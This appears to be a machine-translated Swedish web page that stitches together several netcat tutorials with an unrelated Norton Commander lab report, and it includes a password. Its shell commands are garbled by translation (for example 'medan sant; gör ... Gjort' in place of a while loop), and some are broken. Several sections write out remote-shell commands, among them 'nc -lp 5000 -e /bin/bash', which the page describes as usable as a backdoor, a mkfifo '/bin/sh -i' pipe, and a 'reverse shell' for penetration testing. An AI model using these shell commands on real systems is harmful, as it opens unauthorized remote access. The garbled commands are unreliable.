Windows.  Virus.  Anteckningsböcker.  Internet.  kontor.  Verktyg.  Förare

Original: Användbara netcat-exempel på Linux
Författare: Dan Nanni
Publiceringsdatum: 27 januari 2014
Översättning: A.Panin
Datum för överföring: 7 september 2016

Vanligtvis kallad " Schweizisk kniv" för TCP / IP-nätverk är verktyget ett extremt flexibelt verktyg som låter dig utföra nästan allt möjliga åtgärder med TCP/UDP-uttag på Linux. Det är ett av de mest populära verktygen för att diagnostisera och experimentera med nätverk bland systemadministratörer.

Observera att när du använder nc för att acceptera anslutningar på kända portar nätverkstjänster(0-1023) du behöver root-privilegier. I alla andra fall räcker det med normala användarrättigheter för att nc ska fungera korrekt.

1. Kontrollera om en specifik öppen TCP-port finns på fjärrvärden

$ NC -VN 192.168.233.208 5000 NC: Anslut till 192.168.233.208 5000 (TCP) misslyckades: Anslutning vägrade $ NC -V 192.168.233.208 22 Anslutning till 192.168.233.208 22 Port lyckades! SSH-2.0-OpenSSH_6.0p1 Debian-4

2. Skickar ett UDP-testpaket till en fjärrvärd

Följande kommando är att skicka ett UDP-testpaket med en fördröjning på 1 sekund till port 5000 på fjärrvärden med den angivna adressen.

$ echo -n "foo" | nc -u -w1 192.168.1.8 5000

3. Skanna TCP-portar på en fjärrvärd

Kommandot nedan är för att skanna portar från intervall och lista öppna portar.

$ nc -vnz -w 1 192.168.233.208 1-1000 2000-3000

4. Kopiera en fil (till exempel my.jpg) från en värd som heter hostA.com till en värd som heter hostB.com

$nc -lp 5000 > my.jpg

$nc hostB.com 5000< my.jpg

5. Överför katalogen (med allt innehåll) från hostA.com till hostB.com

På en värd som heter hostB.com (värd):

$ nc -l 5000 | tarxvf-

På en värd som heter hostA.com (sändande sida):

$ tar cvf - /sökväg/till/dir | nc hostB.com 5000

6. Skanna UDP-portar på en fjärrvärd

$ nc -vnzu 192.168.1.8 1-65535 Anslutning till 192.168.1.8 68-porten lyckades! Anslutning till 192.168.1.8 5353-porten lyckades! Anslutning till 192.168.1.8 16389-porten lyckades! Anslutning till 192.168.1.8 38515-porten lyckades! Anslutning till 192.168.1.8 45103-porten lyckades!

Ovanstående kommando låter dig lista öppna, acceptera UDP-portar på en fjärrserver.

7. Väntar på data på UDP-porten och matar ut mottagna data i textformat

Kommandot nedan låter dig ta emot meddelanden (textsträngar) på en given UDP-port.

$ nc -u localhost 5000

Vänligen notera att givet kommando kommer att slutföra sitt arbete omedelbart efter att ha mottagit det första meddelandet. Om du vill ta emot en rad meddelanden måste du använda medan loop på följande sätt:

$ medan sant; gör nc -u localhost 5000; Gjort

8. Spara en (komprimerad) hårddiskavbildningsfil (t.ex. /dev/sdb) på en fjärrserver

På en fjärrserver:

$ nc -lp 5000 | sudo dd of=/backup/sdb.img.gz

På den lokala noden var HDD:

$ dd if=/dev/sdb | gzip -c | nc remote_server.com 5000

9. Återställa innehållet på en hårddisk från en komprimerad bildfil sparad på en fjärrserver

På lokal värd:

$ nc -lp 5000 | gunzip -c | sudo dd of=/dev/sdb

På fjärrservern där bildfilen är lagrad hårddisk(t.ex. /backup/sdb.img.gz):

$ cat /backup/sdb.img.gz | nc my_local_host.com 5000

10. Överföra en statisk webbsida som liknar en webbserver

Kör följande kommando för att starta en webbserver som kommer att servera en webbsida med namnet test.html till klienter som ansluter på port 8000.

$ medan sant; gör nc -lp 8000< test.html; done

Kontrollera nu tillgängligheten för webbsidan genom att navigera med din webbläsare till: http:// :8000/test.html . Observera att för att använda standardwebserverport nummer 80 måste du köra nc med användarrättigheter rot nästa sätt:

$ medan sant; gör sudo nc -lp 80< test.html; done

11. Organisering av en osäker chatt mellan två noder

På den första noden (192.168.233.203):

$ nc -lp 5000

På den andra noden:

$nc 192.168.233.203 5000

Efter att ha utfört ovanstående två kommandon kommer alla tecken som skrivits in i terminalfönstret på endera noden att visas i terminalfönstret för den andra noden.

12. Starta ett "fjärrkommandoskal" som låter dig utföra godtyckliga kommandon på en fjärrvärd medan du arbetar med en lokal värd

På fjärrvärden (192.168.233.208):

$ nc -lp 5000 -e /bin/bash

På lokal värd:

$nc 192.168.233.208 5000

Efter att ha utfört kommandot ovan på den lokala värden kommer du att kunna utföra alla kommandon på fjärrvärden genom den lokala värdens terminalfönster. Kommandona kommer att utföras på fjärrvärden, och utdata från dessa kommandon kommer att visas i den lokala värdens terminalfönster. Detta tillvägagångssätt kan användas för att skapa en bakdörr på en fjärrvärd.

13. Skapa en webbproxy för en specifik webbplats (t.ex. google.com)

$ mkfifo proxypipe $ medan sant; gör nc -l 5000 0 proxyrör; Gjort

Ovanstående kommandon skapar en namngiven pipe som heter proxypipe och använder nc-verktyget för att omdirigera alla TCP-anslutningar på localhost port 5000 till http://www.google.com via en dubbelriktad pipe. Efter att ha utfört dessa kommandon kommer du att kunna komma åt startsida sökmotor Googles system genom att ingå adressfält webbläsaradress http://127.0.0.1:5000.

14. Skapa en SSL-proxy för en specifik webbplats (t.ex. google.com)

$ mkfifo proxypipe $ mkfifo proxypipe2 $ nc -l 5000 -k > proxypipe< proxypipe2 & $ while true do; openssl s_client -connect www.google.com:443 -quiet < proxypipe >proxypipe2; Gjort

Ovanstående kommandon låter dig använda nc-verktyget för att skapa en proxyserver som stöder SSL-protokoll, som låter dig upprätta anslutningar till webbplatsen google.com.

15. Strömma videofil från servern och visa den med mplayer på klientdatorn

På videoströmningsservern (192.168.233.208):

$ cat video.avi | nc -l 5000

På klientsystemet:

$nc 192.168.233.208 5000 | mplayer -vo x11 -cache 3000 -

16. Acceptera TCP-anslutningar på en specifik port med hjälp av en IPv6-adress

Följande kommandon tillåter nc-verktyget att använda en IPv6-adress när den accepterar anslutningar på en TCP-port. Detta kan vara nödvändigt i processen för att testa korrektheten av IPv6-adresseringsinställningarna i nätverket.

$ nc -6 -l 5000 $ sudo netstat -nap | grep 5000 tcp6 0 0:::5000:::* LISTEN 4099/nc

Om du gillade den här artikeln, vänligen dela den med dina vänner:

Visa en test-HTML-sida för en klient med en vanlig webbläsare med ett kommando (port 8080):
(echo -e "HTTP/1.1 200 OK\nInnehållstyp: text/html\n\n Hej världen";) | nc -vv -l -p 8080
Överföra en fil till en klient med en vanlig webbläsare i ett kommando (port 8080):
(echo -e "HTTP/1.1 200\nContent-Disposition: attachment; filename=target-name-client-seees\nInnehållstyp: application/octet-stream\nAnslutning: stäng\n"; cat filnamn- på disk) | nc -vv -l -p 8080

hur man använder nc

(http://handynotes.ru/2010/01/unix-utility-netcat.html )

Låt oss börja med några enkla exempel och sedan kommer vi att använda dem som grundläggande.
Om du kommer ihåg sa jag att netcat är den schweiziska armékniven. Vad skulle den här kniven vara om den inte kunde användas som en vanlig kniv? Det är därför netcat kan användas istället för vanligt telnet:

$nc www.google.com 80

Det är faktiskt bekvämare än vanligt telnet eftersom du kan avsluta anslutningen när som helst genom att trycka på Ctrl+C och den hanterar binär data som vanligt (inga escape-sekvenser, ingenting).
Du kan lägga till alternativet "-v" för att visa resultatet av åtgärder mer detaljerat, och alternativet (-vv) för att få statistik över hur många byte som överfördes under den aktuella anslutningssessionen.
Netcat kan användas som server. Om du kör det enligt nedan kommer det att lyssna på port 12345 (på alla gränssnitt):

$ nc -l -p 12345

Om du nu ansluter till port 12345 på denna värd kommer vad du än skriver att skickas till fjärrsidan, vilket talar om för oss att netcat kan användas som en chattserver. Kör på en av datorerna:

# På dator A med IP 10.10.10.10
$ nc -l -p 12345

Och anslut till den från en annan:

# På dator B
$nc 10.10.10.10 12345

Nu kan båda sidor prata!
Detta sätt att prata, där båda parter kan prata med varandra, gör det möjligt att använda nc för nätverks I/O-operationer! Till exempel kan du skicka en hel katalog från en dator till en annan genom att leda tar genom nc på den första datorn och omdirigera utdata till en annan tar-process på den andra.
Anta att du vill överföra filer från /data-katalogen på dator A med IP 192.168.1.10 till dator B (med valfri IP). Det är enkelt:


$ tar -cf - /data | nc -l -p 6666


# På dator B
$nc 192.168.1.10 6666 | tar-xf-

Glöm inte att kombinera pipelinen med Pipe Viewer som beskrivs i föregående artikel för att se statistik över hur snabb överföringen går!
En enda fil kan skickas enklare:

# På dator A med IP 192.168.1.10
$cat fil | nc -l -p 6666


# På dator B
$ nc 192.168.1.10 6666 > fil

Du kan till och med kopiera och återställa en hel disk med nc:

# På dator A med IP 192.168.1.10
$ cat /dev/hdb | nc -l -p 6666


# På dator B
$ nc 192.168.1.10 6666 > /dev/hdb

Obs: Alternativet "-l" kan inte användas med "-p" på Mac-datorer! Lösningen är att helt enkelt ersätta “-l -p 6666? med ”-l 6666?. Som här:

# nu lyssnar nc på port 6666 för Mac-datorer
$ nc -l 6666

En enastående användning av netcat är portskanning. Netcat är inte det bästa verktyget för det här jobbet, men det gör det (det bästa är förstås nmap):

$ nc -v -n -z -w 1 192.168.1.2 1-1000
(OKÄNT) 445 (microsoft-ds) öppen
(OKÄNT) 139 (netbios-ssn) öppen
(OKÄNT) 111 (sunrpc) öppen
(OKÄNT) 80 (www) öppen
(OKÄNT) 25 (smtp) : Anslutningen tog timeout
(OKÄNT) 22 (ssh) öppen

Alternativet "-n" förhindrar DNS-sökningar, "-z" väntar inte på ett svar från servern och "-w 1? ställer in anslutningstiden till 1 sekund.
En annan icke-trivial användning av netcat är som en proxy. Både port och värd kan vidarebefordras. Titta på det här exemplet:

$ nc -l -p 12345 | www.google.com 80

Detta kommando startar nc på port 1234 och omdirigerar alla anslutningar till google.com:80. Om du nu ansluter till den här datorn på port 12345 och gör en begäran kommer du att upptäcka att du inte får någon data som svar. Detta är korrekt eftersom vi inte har satt upp en dubbelriktad kanal. Om du lägger till en andra kanal kommer du att få din data på en annan port:

$ nc -l -p 12345 | nc www.google.com 80 | nc -l -p 12346

Efter att ha skickat en förfrågan på port 12345, ta emot dina svarsdata på port 12346.
Den förmodligen mest kraftfulla funktionen hos netcat är att köra vilken process som helst som en server:

$ nc -l -p 12345 -e /bin/bash

Alternativet "-e" skapar exekveringen av indata och utdata som omdirigeras via ett nätverksuttag. Om du nu ansluter till värden på port 12345 kan du använda bash:
$ nc localhost 12345
ls-las
totalt 4288
4 drwxr-xr-x 15 pkrumins användare 4096 2009-02-17 07:47 .
4 drwxr-xr-x 4 pkrumins användare 4096 2009-01-18 21:22 ..
8 -rw——- 1 pkrumins användare 8192 2009-02-16 19:30 .bash_history
4 -rw-r—r— 1 pkrumins användare 220 2009-01-18 21:04 .bash_logout

(http://execbit.ru/2011/05/23/netcat/)
1 Överför filer (kör det första kommandot på den mottagande maskinen, det andra på den sändande maskinen:

$ nc -l 31334 > filnamn $ nc 172.16.69.143 31334< filename

$ nc -f /var/log/meddelanden | nc -l 31334 $ nc 172.16.69.143 31334

3 Använd istället för telnet (första - telnet-server, andra - klient):

$ nc -l -p 31334 -e /bin/sh $ nc 172.16.69.143 31334

4 Sök efter öppna portar:

$ nc -z execbit.ru 1-1024

5 Fingeravtryckstjänster baserade på banners:

$ echo "AVSLUTA" | nc-execbit.ru 1-1024

6 Organisera ett omvänt skal (det första är klienten, det andra är servern, men skalet öppnas från servern till klienten).

Institutionen för vägkonstruktion

Lab #1

på kursen "Informatik"

Utförd av en student från grupp nr 114359 Raykhman Sergey Yuryevich

kontrollerade

Lab #1

Ämne: Norton Commander Utility

Mål: Lär dig hur du hanterar din dator med Norton Commander

Norton Commander låter dig utföra följande funktioner: 1) utföra MS-DOS-funktioner, 2) Visa innehållet i kataloger på diskar, 3) visa ett katalogträd på disk, 4) visa filer, 5) redigera textfiler, 6) kopiera, flytta, byta namn, ta bort filer, 7) ändra filattribut.

lansera Norton befälhavare

För att starta Norton Commander, skriv in kommandorad"nc" och tryck på "Enter" (enter). Avsluta Norton Commander - F10 eller ALT+X

Vy över skärmen och panelerna

Efter att ha startat Norton Commander visas två rektangulära fönster (paneler) på skärmen.


Under dessa paneler finns MS-DOS-prompten och en informationsrad med funktionsnyckelvärden.

F1 HJÄLP- kort information om tilldelning av nycklar vid arbete med NC.

F2 MENY - användarmeny

F3 VISNING - vy textfil, dokument

F4 EDIT - redigera textfil

F5 COPY - kopiera filer

F6 RENMOV - vidarebefordra, byt namn på filen

F7 MKDIR - skapa katalog(er)

F8 DELETE - radera filer eller underkataloger

F9 PULL DN - menyer som innehåller NC-driftlägen visas på skärmens översta rad.

F10 AVSLUTA - avfart från NC

Meny vid knapptryckning F9

Vänster och höger - ställer in lägena för att visa information på vänster och höger panel

Filer - olika operationer utförs med filer

Kommandon - utförs olika lag NC, NC konfiguration och driftlägen är inställda.

Ett av menyalternativen är markerat, använd pilarna för att välja ett annat alternativ<¬>, <­>, <®>, <¯>och Enter-tangenten trycks ned.

Filval

För att kopiera, ta bort, flytta filer, välj dem genom att trycka på Ins-tangenten. För att avbryta valet, tryck på "Ins" igen. Information om antalet valda filer visas längst ner på panelen.

Skapa en katalog

För att skapa en katalog, tryck på "F7", skriv in dess namn, tryck på "Enter".

För att gå in i en katalog, tryck på "Enter"-tangenten på dess namn. När du trycker på tangenterna "ALT+F10" visas ett katalogträd på skärmen. Markörknapparna kan användas för att snabbt flytta till önskad underkatalog.

Huvudtangenter NC

TAB - växla till en annan panel

ALT + F1 - visas i den vänstra panelen i innehållsförteckningen på en annan disk.

ALT + F2 - visas i den högra panelen i innehållsförteckningen på en annan disk

CTRL + F1 - ta bort den vänstra panelen från skärmen

CTRL+F2 - dölj den högra panelen från skärmen

CTRL+O - ta bort båda panelerna

CTRL+U - byt paneler

För att starta datorn måste du skriva "LOGGA IN" i snabbraden, ange lösenordet (335_2).

Labbuppdrag

Använd kommandona och skapa en underkatalogstruktur på disken:


nc [-46bCDdhklnrStUuvZz] [-I längd][-i intervall][-O längd][-P proxy_användarnamn][-s source_port][-q sekunder][-s källa][-T till nyckelord][-V rtabell] [-w Paus][-X proxy_protokoll][-x proxy_adress[:hamn]] [destination] [hamn]

alternativ

-4 krafter nc för att endast använda IPv4-adresser.
-6 krafter nc för att endast använda IPv6-adresser.
-b Tillåt sändning.
-C Skicka som radslut.
-D Aktivera felsökning på uttaget.
-d Försök inte läsa från stdin.
-h Skriv ut nc hjälp.
-Jag längd Anger storleken på TCP-mottagningsbufferten.
-jag intervall Anger ett fördröjningstidsintervall mellan textrader som skickas och tas emot. Orsakar också en fördröjningstid mellan anslutningar till flera portar.
-k krafter nc för att fortsätta lyssna efter en annan anslutning efter att dess nuvarande anslutning är klar. Det är ett fel att använda det här alternativet utan -l alternativ.
-l Används för att specificera det nc bör lyssna efter en inkommande anslutning istället för att initiera en anslutning till en fjärrvärd. Det är ett fel att använda det här alternativet tillsammans med -s, -s, eller -z alternativ. Dessutom kan eventuella timeouts som anges med -w alternativ ignoreras.
-n Gör inga DNS- eller tjänstsökningar på några specificerade adresser, värdnamn eller portar.
-O längd Anger storleken på TCP-sändningsbufferten.
-P proxy_användarnamn Anger ett användarnamn som ska presenteras för en proxyserver som kräver autentisering. Om inget användarnamn anges kommer autentisering inte att göras. Proxyautentisering stöds för närvarande endast för HTTP CONNECT-proxyer.
-s source_port Anger källporten nc ska använda, med förbehåll för behörighetsbegränsningar och tillgänglighet.
-q sekunder efter EOF på stdin, vänta det angivna antalet sekunder och avsluta sedan. Om sekunderna är negativa, vänta i evighet.
-r Anger att käll- eller destinationsportar ska väljas slumpmässigt istället för sekventiellt inom ett intervall eller i den ordning som systemet tilldelar dem.
-S Aktiverar signaturalternativet RFC 2385 TCP MD5.
-s källa Anger gränssnittet som används för att skicka paketen. För UNIX-domän datagram sockets, anger den lokala temporära socket fil som ska skapas och användas så att datagram kan tas emot. Det är ett fel att använda det här alternativet tillsammans med -l alternativ.
-T till nyckelord Ändra IPv4 TOS-värde. till nyckelord kan vara en av kritisk, inetkontroll, låg kostnad, låg fördröjning, nätkontroll, genomströmning, pålitlighet, eller en av DiffServ Code Points: ef, af11 ... af43, cs0 ... cs7; eller ett tal i antingen hex eller decimal .
-t Orsaker nc för att skicka RFC 854 DON"T och WON"T-svar på RFC 854 DO och VILL-förfrågningar. Detta gör det möjligt att använda nc för att skripta telnet-sessioner.
-U Anger att använda UNIX-domänsockets.
-u Använd UDP istället för standardalternativet TCP. För UNIX-domänsockets, använd en datagram-socket istället för en stream-socket. Om en UNIX-domänsocket används skapas en tillfällig mottagningssocket i /tmp om inte -s flaggan ges.
-V rtabell Ställ in routingtabellen som ska användas. Standard är 0.
-v Ha nc ge mer utförlig utdata.
-w Paus Anslutningar som inte kan upprättas eller är inaktiva timeout efter timeout sekunder. De -w flaggan har ingen effekt på -l alternativ, dvs. nc kommer att lyssna för alltid efter en anslutning, med eller utan -w flagga. Standard är ingen timeout.
-X proxy_protokoll Begär att nc ska använda det angivna protokollet när man pratar med proxyservern. Protokoll som stöds är " 4 " (SOCKS v.4), " 5 " (SOCKS v.5) och " ansluta" (HTTPS proxy). Om protokollet inte är specificerat används SOCKS version 5.
-x proxy_adress[:port] Begär det nc ska ansluta till destinationen med en proxy på proxy_adress och hamn. Om hamn inte anges, används den välkända porten för proxyprotokollet (1080 för SOCKS, 3128 för HTTPS).
-Z DCCP-läge.
-z Anger att nc endast ska söka efter lyssningsdemoner, utan att skicka någon data till dem. Det är ett fel att använda det här alternativet tillsammans med -l alternativ.

destination kan vara en numerisk IP-adress eller ett symboliskt värdnamn (om inte -n alternativet ges). I allmänhet måste en destination anges, om inte -l alternativet ges (i vilket fall den lokala värden används). För UNIX-domänsockets krävs en destination och är sockets sökväg att ansluta till (eller lyssna på om -l alternativet ges).

port kan vara ett enstaka heltal eller ett antal portar. Områden är i form nn-mm. I allmänhet måste en destinationsport anges, om inte -U alternativ ges.

Klient-/servermodell

Det är ganska enkelt att bygga en mycket grundläggande klient/server-modell med hjälp av nc. Starta på en konsol nc lyssna på en specifik port för en anslutning. Till exempel:

Nc-l 1234

nc lyssnar nu på port 1234 för en anslutning. På en andra konsol (eller en andra maskin), anslut till maskinen och porten som du lyssnar på:

Nc 127.0.0.1 1234

Det ska nu finnas en koppling mellan portarna. Allt som skrivs på den andra konsolen kommer att sammanfogas med den första, och vice versa. Efter att anslutningen upprättats nc bryr sig inte riktigt vilken sida som används som "server" och vilken sida som används som "klient". Anslutningen kan avslutas med en EOF (' ^D’).

Det finns inget -c eller -e alternativet i modern netcat, men du kan fortfarande köra ett kommando efter att anslutningen har upprättats genom att omdirigera filbeskrivningar. Var försiktig här eftersom att öppna en port och låta alla anslutna utföra godtyckliga kommandon på din webbplats är FARLIGT. Om du verkligen behöver göra detta, här är ett exempel:

På "server"-sidan:

Rm-f /tmp/f; mkfifo /tmp/f cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f

På klientsidan:

nc host.example.com 1234

(skalprompt från host.example.com)

Börja med att använda nc för att lyssna på en specifik port, med utdata fångad i en fil:

nc -l 1234 > filnamn.ut

Använd en andra maskin, anslut till lyssnaren nc process, matar den med filen som ska överföras:

nc host.example.com 1234< filename.in

Efter att filen har överförts stängs anslutningen automatiskt.

Pratar med servrar

Det är ibland användbart att prata med servrar "för hand" snarare än genom ett användargränssnitt. Det kan hjälpa till vid felsökning, när det kan vara nödvändigt att verifiera vilken data en server skickar som svar på kommandon som utfärdats av klienten. Till exempel, för att hämta hemsidan för en webbplats:

Printf "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80

Observera att detta även visar rubrikerna som skickas av webben server. De kan filtreras med hjälp av ett verktyg som t.ex sed, om nödvändigt.

Mer komplicerade exempel kan byggas upp när användaren känner till formatet på förfrågningar som krävs av servern. Som ett annat exempel kan ett e-postmeddelande skickas till en SMTP-server med hjälp av:

Nc [-C] localhost 25<< EOF HELO host.example.com MAIL FROM:< >RCPT TILL:< >DATA Brödtext av e-post. . AVSLUTA EOF

portskanning

Det kan vara användbart att veta vilka portar som är öppna och kör tjänster på en måldator. De -z flaggan kan användas för att berätta nc att rapportera öppna portar, snarare än att initiera en anslutning. Vanligtvis är det användbart att aktivera utförlig utdata till stderr genom att använda det här alternativet tillsammans med -v alternativ.

Nc -zv host.example.com 20-30 Anslutning till host.example.com 22-porten lyckades! Anslutningen till host.example.com 25-porten lyckades!

Portintervallet specificerades för att begränsa sökningen till portar 20 - 30 , och skannas i ökande ordning.

Du kan också ange en lista över portar som ska skannas, till exempel:

nc -zv host.example.com 80 20 22 nc: anslut till host.example.com 80 (tcp) misslyckades: Anslutning nekades nc: anslut till host.example.com 20 (tcp) misslyckades: Anslutning nekades Anslutning till host.example .com-porten lyckades!

Portarna skannas i den ordning du gett.

Alternativt kan det vara användbart att veta vilken serverprogramvara som körs och vilka versioner. Denna information finns ofta i hälsningsbanderollerna. För att hämta dessa är det nödvändigt att först göra en anslutning, och sedan bryta anslutningen när bannern hämtades. Detta kan uppnås genom att ange en liten timeout med -w flagga, eller kanske genom att utfärda ett "QUIT"-kommando till servern:

Echo "AVSLUTA" | nc host.example.com 20-30 SSH-1.99-OpenSSH_3.6.1p2 Protokollfel matchar. 220 host.example.com IMS SMTP-mottagare Version 0.84 Klar

Exempel

nc -p 31337 -w 5 host.example.com 42

Öppnar en TCP-anslutning till port 42 av host.example.com, med hjälp av port 31337 som källport, med en timeout på 5 sekunder.

nc -u host.example.com 53 nc -x10.2.3.4:8080 -Xconnect -Pruser host.example.com 42

Samma som exemplet ovan, men den här gången aktiverar proxyautentisering med användarnamn " ruser" om proxyn kräver det.

relaterade kommandon

ifconfig- Visa eller ändra konfigurationen av nätverksgränssnitt.

I den här artikeln ska jag titta på det populära nätverksverktyget netcat och några användbara knep för att använda det.


Netcat är ett Unix-verktyg som låter dig upprätta TCP- och UDP-anslutningar, ta emot data därifrån och överföra dem. Trots dess användbarhet och enkelhet vet många inte hur man använder det och kringgår det orättvist.


Med hjälp av det här verktyget kan du utföra några steg när du genomför penetrationstestning. Detta kan vara användbart när den attackerade maskinen inte har (eller kommer att dra till sig uppmärksamhet) installerade paket, det finns begränsningar (till exempel IoT/Inbäddade enheter), etc.


Vad kan göras med netcat:

  • Skanna portar;
  • Forward portar;
  • Samla in tjänstebanderoller;
  • Lyssna port (bind för omvänd anslutning);
  • Ladda ner och ladda upp filer;
  • Mata ut rått HTTP-innehåll;
  • Skapa en minichatt.

I allmänhet, med hjälp av netcat, kan du ersätta en del av unix-verktygen, så det här verktyget kan betraktas som en slags kombination för att utföra vissa uppgifter.

Praktiska exempel

I många fall, om det är nödvändigt att kontrollera en viss värd, använder de telnet eller sina egna tjänster för att identifiera värden eller bannern. Hur netcat kan hjälpa oss:

Söker efter en öppen TCP-port 12345

$ nc -vn 192.168.1.100 12345
nc: anslut till 192.168.1.100 12345 (tcp) misslyckades: Anslutning nekades

$ nc -v 192.168.1.100 22
Anslutning till 192.168.1.100 22-porten lyckades!
SSH-2.0-OpenSSH

Skanna TCP-portar med netcat:

$ nc -vnz 192.168.1.100 20-24

Med en sådan skanning kommer det inte att finnas någon anslutning till porten, utan bara utgången från en framgångsrik anslutning:


nc: connectx till 192.168.1.100 port 20 (tcp) misslyckades: Anslutningen avvisades
nc: connectx till 192.168.1.100 port 21 (tcp) misslyckades: Anslutningen nekades
hittade 0 associationer
hittade 1 kopplingar:
1: flaggor=82
outif en0
src 192.168.1.100 port 50168
dst 192.168.1.100 port 22
rank info inte tillgänglig
TCP aux info tillgänglig
Anslutning till 192.168.1.100 port 22 lyckades!
nc: connectx till 192.168.1.100 port 23 (tcp) misslyckades: Anslutningen avvisades
nc: connectx till 192.168.1.100 port 24 (tcp) misslyckades: Anslutningen avvisades

Skanna UDP-portar.

Root-privilegier krävs för att skanna UDP-portar med nmap. Om de inte finns där, i det här fallet kan netcat-verktyget också hjälpa oss:


$ nc -vnzu 192.168.1.100 5550-5560
Anslutning till 192.168.1.100 port 5555 lyckades!

Skickar ett UDP-paket

$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Detta kan vara användbart när du interagerar med nätverksenheter.

Ta emot data på UDP-porten och mata ut mottagna data

$ nc -u localhost 7777

Efter det första meddelandet kommer utmatningen att stoppas. Om du behöver ta emot flera meddelanden måste du använda medan true:


$ medan sant; gör nc -u localhost 7777; Gjort

Filöverföring. Med netcat kan du både ta emot filer och överföra filer till en fjärrvärd:


nc 192.168.1.100 5555< 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact som en enkel webbserver.

Netcat kan fungera som en enkel webbserver för att visa html-sidor.


$ medan sant; gör nc -lp 8888< index.html; done

Använda en webbläsare på: http://netcat host:8888/index.html. För att använda standardwebbserverport nummer 80 måste du köra nc med root-privilegier:


$ medan sant; gör sudo nc -lp 80< test.html; done

Chatta mellan noder

På den första noden (192.168.1.100):


$ nc -lp 9000

På den andra noden:


$nc 192.168.1.100 9000

Efter att ha utfört kommandona kommer alla tecken som skrivs in i terminalfönstret på någon av noderna att visas i terminalfönstret för den andra noden.

Omvänt skal

Med netcat kan du organisera ett bekvämt omvänt skal:


nc -e /bin/bash -lp 4444

Nu kan du ansluta från fjärrvärden:


$nc 192.168.1.100 4444

Man ska inte ge upp om det inte finns vissa verktyg, ofta ganska krångligt, ibland kan uppgiften lösas med improviserade medel.

Om du upptäcker ett fel, välj en textbit och tryck på Ctrl + Retur
DELA MED SIG: